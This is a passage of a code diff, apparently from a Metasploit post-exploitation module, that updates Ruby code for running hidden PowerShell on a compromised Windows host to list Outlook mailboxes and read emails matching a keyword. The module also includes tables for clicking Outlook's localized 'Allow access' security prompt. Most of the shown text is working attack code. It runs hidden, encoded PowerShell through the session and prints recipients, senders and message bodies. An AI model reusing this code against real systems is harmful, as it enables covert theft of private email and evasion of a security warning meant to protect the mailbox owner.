4
4
##
5
5
6
6
require 'msf/core'
7
- require 'iconv'
8
7
9
8
class Metasploit3 < Msf ::Post
10
-
11
9
include Msf ::Post ::Windows ::Registry
10
+ include Msf ::Post ::Windows ::Powershell
12
11
13
12
A_HASH = { "en_US" => "Allow" , "NL" => "Toestaan" , "de_DE" => "Erteilen" , "de_AT" => "Erteilen" }
14
- ACF_HASH = { "en_US" => "Allow access for" , "NL" => "Toegang geven voor" , "de_DE" => "Zugriff gewähren für " , "de_AT" => "Zugriff gewähren für " }
13
+ ACF_HASH = { "en_US" => "Allow access for" , "NL" => "Toegang geven voor" , "de_DE" => "Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " , "de_AT" => "Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " }
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
@@ -65,16 +64,14 @@ def listBoxes
65
64
}
66
65
}
67
66
$folders \| FT FolderPath
68
- }
67
+ }
69
68
List-Folder
70
69
|
71
- utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
72
- encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
73
- listBoxes_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
74
- sleep 3
75
- print listBoxes_res . channel . read
76
- listBoxes_res . channel . close
77
- listBoxes_res . close
70
+ compressed_script = compress_script ( psh_script )
71
+ cmd_out , runnings_pids , open_channels = execute_script ( compressed_script )
72
+ while ( d = cmd_out . channel . read )
73
+ print ( "#{ d } " )
74
+ end
78
75
currentidle = session . ui . idle_time
79
76
print ( "\n " )
80
77
print_status ( "System has currently been idle for #{ currentidle } seconds" )
@@ -93,26 +90,23 @@ def readEmails(folder,keyword,searchobject,atrans,acftrans)
93
90
$Namespace = $Outlook.GetNameSpace("MAPI")
94
91
$account = $NameSpace.Folders
95
92
$count = 0
96
- try {
97
93
foreach ($acc in $account) {
98
94
$count = $count+1
95
+ try {
99
96
$Email = $NameSpace.Folders.Item($count).Folders.Item($Folder).Items
100
- $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
97
+ $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
98
+ } catch {
99
+ Write-Host "Folder not found in mailbox $count"
101
100
}
102
- } catch {
103
- Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
104
- }
101
+ }
105
102
}
106
103
Get-Emails "#{ keyword } " "#{ folder } " "#{ searchobject } "
107
104
|
108
- utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
109
- encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
110
- readEmails_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
111
- while ( d = readEmails_res . channel . read )
105
+ compressed_script = compress_script ( psh_script )
106
+ cmd_out , runnings_pids , open_channels = execute_script ( compressed_script , 120 )
107
+ while ( d = cmd_out . channel . read )
112
108
print ( "#{ d } " )
113
109
end
114
- readEmails_res . channel . close
115
- readEmails_res . close
116
110
end
117
111
118
112
def clickButton ( atrans , acftrans )
0 commit comments